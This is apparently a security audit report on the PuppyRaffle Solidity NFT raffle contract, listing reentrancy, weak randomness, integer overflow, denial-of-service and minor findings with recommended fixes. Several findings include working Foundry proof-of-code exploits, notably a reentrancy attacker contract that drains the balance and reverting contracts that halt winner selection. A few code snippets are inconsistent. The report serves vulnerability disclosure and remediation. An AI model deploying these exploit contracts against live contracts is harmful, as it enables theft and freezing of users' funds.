PuppyRaffle Audit Report

Version 1.0

GuireWire

July 12, 2024

Protocol Audit Report

GuireWire

July 12, 2024

Prepared by: GuireWire Lead Auditors: - GuireWire

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed

3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The GuireWire team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 22bbbb2c47f3f2b78c1b134590baf41383fd354f

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

This codebase had some issues that need to be fixed. But once these fixes are implemented, the codebase should be in a better state moving forward. It would be recommended to improve the test coverage, in addition to familiarity with static analysis tools like Slither and Aderyn to help you in your security journey.

Issues found

Severity	Number of Issues Found
High	4
Medium	4
Low	1
Informational	8
Gas	2
Total	19

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain contract balance

Description: The `PuppyRaffle::refund` function does not follow CEI/FREI-PI and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address, and only after making that external call, we update the `players` array.

Code

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

@>  payable(msg.sender).sendValue(entranceFee);

@>  players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
}
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue to cycle this until the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. Users enters the raffle.
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`.
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their contract, draining the contract balance.

Proof of Code:

Code Add the following code to the `PuppyRaffleTest.t.sol` file.

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(address _puppyRaffle) {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }
```

```
18
19      fallback() external payable {
20          if (address(puppyRaffle).balance >= entranceFee) {
21              puppyRaffle.refund(attackerIndex);
22          }
23      }
24  }
25
26  function testReentrance() public playersEntered {
27      ReentrancyAttacker attacker = new ReentrancyAttacker(address(
            puppyRaffle));
28      vm.deal(address(attacker), 1e18);
29      uint256 startingAttackerBalance = address(attacker).balance;
30      uint256 startingContractBalance = address(puppyRaffle).balance;
31
32      attacker.attack();
33
34      uint256 endingAttackerBalance = address(attacker).balance;
35      uint256 endingContractBalance = address(puppyRaffle).balance;
36      assertEq(endingAttackerBalance, startingAttackerBalance +
            startingContractBalance);
37      assertEq(endingContractBalance, 0);
38  }
```

Recommended Mitigation: To fix this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

Code

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5   +       players[playerIndex] = address(0);
6   +       emit RaffleRefunded(playerAddress);
7           (bool success,) = msg.sender.call{value: entranceFee}("");
8           require(success, "PuppyRaffle: Failed to refund player");
9   -        players[playerIndex] = address(0);
10  -        emit RaffleRefunded(playerAddress);
11      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to choose winner and influence/predict the winning puppy. Making the entire raffle worthless if it becomes a gas war to who wins the raffle.

Description: Hashing `msg.sender`, `block.timestamp`, `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can choose the winner of the raffle, winning the money and selecting the "rarest" puppy, essentially making it such that all puppies have the same rarity, since you can choose the puppy.

Proof of Concept:

There are a few attack vectors here.

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when / how to participate. See the solidity blog on prevrando here. `block.difficulty` was recently replaced with `prevrandao`.
2. Users can mine/manipulate the `msg.sender` value to result in their index being the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// myVar will be 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We first conclude a raffle of 4 players to collect some fees. 2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well. 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof Of Code Place this into the `PuppyRaffleTest.t.sol` file.

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
```

```
31          puppyRaffle.withdrawFees();
32      }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

[H-4] Malicious winner can forever halt the raffle

Description: Once the winner is chosen, the `selectWinner` function sends the prize to the the corresponding address with an external call to the winner account.

```
1 (bool success,) = winner.call{value: prizePool}("");
2 require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

If the `winner` account were a smart contract that did not implement a payable `fallback` or `receive` function, or these functions were included but reverted, the external call above would fail, and execution of the `selectWinner` function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the `selectWinner` function mints an NFT to the winner using the `_safeMint` function. This function, inherited from the `ERC721` contract, attempts to call the `onERC721Received` hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the `onERC721Received` hook expected. This will prevent minting the NFT and will revert the call to `selectWinner`.

Impact: In either case, because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.

Proof of Concept:

Proof Of Code Place the following test into `PuppyRaffleTest.t.sol`.

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    address[] memory players = new address[](4);
    players[0] = address(new AttackerContract());
    players[1] = address(new AttackerContract());
    players[2] = address(new AttackerContract());
    players[3] = address(new AttackerContract());
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

For example, the `AttackerContract` can be this:

```
contract AttackerContract {
    // Implements a `receive` function that always reverts
    receive() external payable {
        revert();
    }
}
```

Or this:

```
contract AttackerContract {
    // Implements a `receive` function to receive prize, but does not
       implement `onERC721Received` hook to receive the NFT.
    receive() external payable {}
}
```

Recommended Mitigation: Favor pull-payments over push-payments. This means modifying the `selectWinner` function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of `selectWinner`.

Medium

[M-1] DoS Attack - Unbounded For Loop `PuppleRaffle::enterRaffle`, Resulting in Denial of Service due to Gas Cost Incrementing

IMPACT: MEDIUM LIKELIHOOD: MEDIUM SEVERITY: MEDIUM

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, when the size of the `players` array increases, the gas cost increases as you are checking for duplicates more times. This means the gas costs for players who enter the raffle immediately will have lower gas costs than players who enter the raffle later. Every additional address in the `players` array is an additional check the loop will have to make.

Code

```
1
2 // @Audit: DoS Attack with unbounded for loop
3         for (uint256 i = 0; i < players.length - 1; i++) {
4             for (uint256 j = i + 1; j < players.length; j++) {
5                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
6             }
```

Impact: The gas costs for raffle entrants will increase as more players enter the raffle. This discourages players from entering the raffle when it is at a later period, causing an urgency of players to enter at the start of the raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array size larger so that no one else enters the raffle, guaranteeing the attacker the win.

Proof of Concept:

If we have 2 sets of 100 players enter the raffle, the gas costs will be as follows: - 1st 100 Players: 6252128 gas - 2nd 100 Players: 18068218 gas

DoS Attack PoC

Place the following test into `PuppyRaffleTest`.

```
1 function test_DenialofService() public {
2         vm.txGasPrice(1);
3
4         //Let's enter 100 players
5         uint256 playersNum = 100;
6         address[] memory players = new address[](playersNum);
7         for (uint256 i = 0; i < playersNum; i++) {
8             players[i] = address(i);
9         }
```

```
10
11          //see how much gas it costs
12          uint256 gasStart = gasleft();
13          puppyRaffle.enterRaffle{value: entranceFee * players.length}(
                players);
14          uint256 gasEnd = gasleft();
15
16          uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
17          console.log("gas cost of first 100 players", gasUsedFirst);
18
19          address[] memory playersTwo = new address[](playersNum);
20          for (uint256 i = 0; i < playersNum; i++) {
21              playersTwo[i] = address(i + playersNum);
22          }
23
24          //see how much gas it costs
25          uint256 gasStartSecond = gasleft();
26          puppyRaffle.enterRaffle{value: entranceFee * players.length}(
                playersTwo);
27          uint256 gasEndSecond = gasleft();
28
29          uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
                gasprice;
30          console.log("gas cost of second 100 players", gasUsedSecond);
31
32          assert(gasUsedFirst < gasUsedSecond);
33      }
```

Recommended Mitigation: There are a few recommendations to mitigate this attack. 1. Consider allowing for duplicates since users can easily make new wallet addresses to enter the raffle. Then the check for duplicates for loop can be removed. 2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered the raffle.

Mapping to Check for Duplicates

```
1  +     mapping(address => uint256) public addressToRaffleId;
2  +     uint256 public raffleId = 0;
3      .
4      .
5      .
6      function enterRaffle(address[] memory newPlayers) public payable {
7          require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
8          for (uint256 i = 0; i < newPlayers.length; i++) {
9              players.push(newPlayers[i]);
10 +            addressToRaffleId[newPlayers[i]] = raffleId;
11         }
12
13 -        // Check for duplicates
14 +       // Check for duplicates only from the new players
```

```
15 +        for (uint256 i = 0; i < newPlayers.length; i++) {
16 +           require(addressToRaffleId[newPlayers[i]] != raffleId, "
       PuppyRaffle: Duplicate player");
17 +        }
18 -         for (uint256 i = 0; i < players.length; i++) {
19 -             for (uint256 j = i + 1; j < players.length; j++) {
20 -                 require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
21 -             }
22 -         }
23          emit RaffleEnter(newPlayers);
24      }
25 .
26 .
27 .
28      function selectWinner() external {
29 +        raffleId = raffleId + 1;
30          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
```

3. Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1       function withdrawFees() external {
2   @>      require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3           uint256 feesToWithdraw = totalFees;
4           totalFees = 0;
5           (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6           require(success, "PuppyRaffle: Failed to withdraw fees");
7       }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`

3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits

3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check and a lottery reset could get challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very

difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended - This is known as Pull > Push)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle:players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
    /// @return the index of the player in the array, if they are not
        active, it returns 0
function getActivePlayerIndex(address player) external view returns (
    uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }

        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept: 1. Users enters the raffle, they are the first entrant. 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User thinks they have not entered the raffle, and attempts to enter the raffle again, wasting gas.

Recommended Mitigation: The easiest recommendation is to revert if the player is not in the array instead of returning 0.

You could also reserve the `[0]` slot in the `players` array for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Informational

[I-1] When `players` array = 0, the `getActivePlayerIndex` function returns Not Active Player, which leads to confusion since `players` 0 is actually an active player.

Description: The `getActivePlayerIndex` function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

Recommended Mitigation: Return 2**256-1 (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

[I-2] Solidity pragma should be specific, not wide

Description: Solidity pragma marked as wide ^. Using a specific version of Solidity in your contracts is recommended, to prevent security risks and compatibility issues.

Impact: Increases risk of deploying contracts with unpatched vulnerabilities and potential for breaking changes affecting contract functionality.

Proof of Concept: Contracts using a wide pragma remain vulnerable to bugs present in the lower end of the supported version range until those bugs are patched in higher versions. Similarly, adopting new features or behaviors introduced in unsupported versions can lead to unexpected errors.

Proof of Code:

Before

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

To improve this, use a specific version of Solidity.

After

```
1 pragma solidity 0.7.6;
```

Recommended Mitigation: Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`. Specify a narrow range or a single Solidity version in contracts to minimize security risks and ensure compatibility.

[I-3] Using an Outdated version of Solidity is Not Recommended.

Description: solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Impact: Using an old version prevents access to new Solidity security checks

Proof of Concept: N/A

Proof of Code: N/A

Recommended Mitigation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither for more information on how to use Slither to find and fix security vulnerabilities.

[I-4] Missing checks for `address(0)` when assigning values to address state variables

Description: Check for `address(0)` when assigning values to address state variables.

Impact: Potential loss of funds due to unintended assignments to the zero address.

Proof of Concept:

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 66

```
1          feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 186

```
1          feeAddress = newFeeAddress;
```

Recommended Mitigation: Implement checks to ensure the assigned address is not address(0) before assignment.

[I-5] `PuppyRaffle::selectWinner` does not follow CEI which is not a best practice.

Description: It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

Impact: Not following CEI deviates away from best practices.

Recommended Mitigation: Follow CEI for best practices.

[I-6] Magic Numbers is Messy

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called "magic numbers".

Recommended Mitigation: Replace all magic numbers with constants.

```
+       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+       uint256 public constant FEE_PERCENTAGE = 20;
+       uint256 public constant TOTAL_PERCENTAGE = 100;
.
.
.
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
         uint256 prizePool = (totalAmountCollected *
            PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
         uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
            TOTAL_PERCENTAGE;
```

[I-7] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

```
| File                                | % Lines        | % Statements
   | % Branches     | % Funcs       |
| ----------------------------------- | -------------- | --------------
   | -------------- | ------------- |
| script/DeployPuppyRaffle.sol        | 0.00% (0/3)    | 0.00% (0/4)
   | 100.00% (0/0)  | 0.00% (0/1)   |
| src/PuppyRaffle.sol                 | 82.46% (47/57) | 83.75% (67/80)
   | 66.67% (20/30) | 77.78% (7/9)  |
| test/auditTests/ProofOfCodes.t.sol  | 100.00% (7/7)  | 100.00% (8/8)
   | 50.00% (1/2)   | 100.00% (2/2) |
| Total                               | 80.60% (54/67) | 81.52% (75/92)
   | 65.62% (21/32) | 75.00% (9/12) |
```

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the `Branches` column.

[I-8] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
- function _isActivePlayer() internal view returns (bool) {
-     for (uint256 i = 0; i < players.length; i++) {
-         if (players[i] == msg.sender) {
-             return true;
-         }
-     }
-     return false;
- }
```

Gas

[G-1] Unchanged state variables should be dec;ared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::RareImageUri` should be `constant` - `PuppyRaffle::LegendaryImageUri` should be `constant`

[G-2] Storage Variables in a Loop Should be Cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+   uint256 playerLength = players.length;
-   for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 i = 0; i < playerLength - 1; i++) {
-       for (uint256 j = i + 1; j < players.length; j++) {
+       for (uint256 j = i + 1; j < playerlength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```